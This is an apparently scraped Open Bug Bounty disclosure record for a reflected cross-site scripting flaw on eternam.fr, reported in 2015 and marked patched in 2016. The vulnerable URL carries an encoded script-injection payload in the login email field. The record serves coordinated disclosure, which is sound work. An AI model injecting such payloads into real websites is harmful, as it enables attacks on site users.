Lucene search

K
openbugbountyRetr0OBB:101662
HistoryNov 05, 2015 - 4:10 p.m.

eternam.fr XSS vulnerability

2015-11-0516:10:00
retr0
www.openbugbounty.org
11
Vulnerable URL:
http://www.eternam.fr/index.phtml?srub=24&lng;=FR&actionespaceclient;=1&ClientActionLogin;=chargement&BackToUrl;=votre-espace-membre-_l_FR_r_25.html&CLIKEO;_EMAIL=%22%3E%3Cscript%3Ealert%28%27XSSPOSED%27%29%3C%2Fscript%3E&CLIKEO;_MDP=%22%3E%3Cscript%3Ealert&TentaviveLoginClient;=
Details:
Description Value
Patched: Yes, at 30.01.2016
Latest check for patch: 30.01.2016 23:34 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank Unknown / Not calculated
Google Pagerank 2
VIP website status: No
Check eternam.fr SSL connection: (Grade: B)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 5 November, 2015 16:10 GMT
Vulnerability existence verified and confirmed 5 November, 2015 16:12 GMT
Vulnerability patched by the website owner 30 January, 2016 23:34 GMT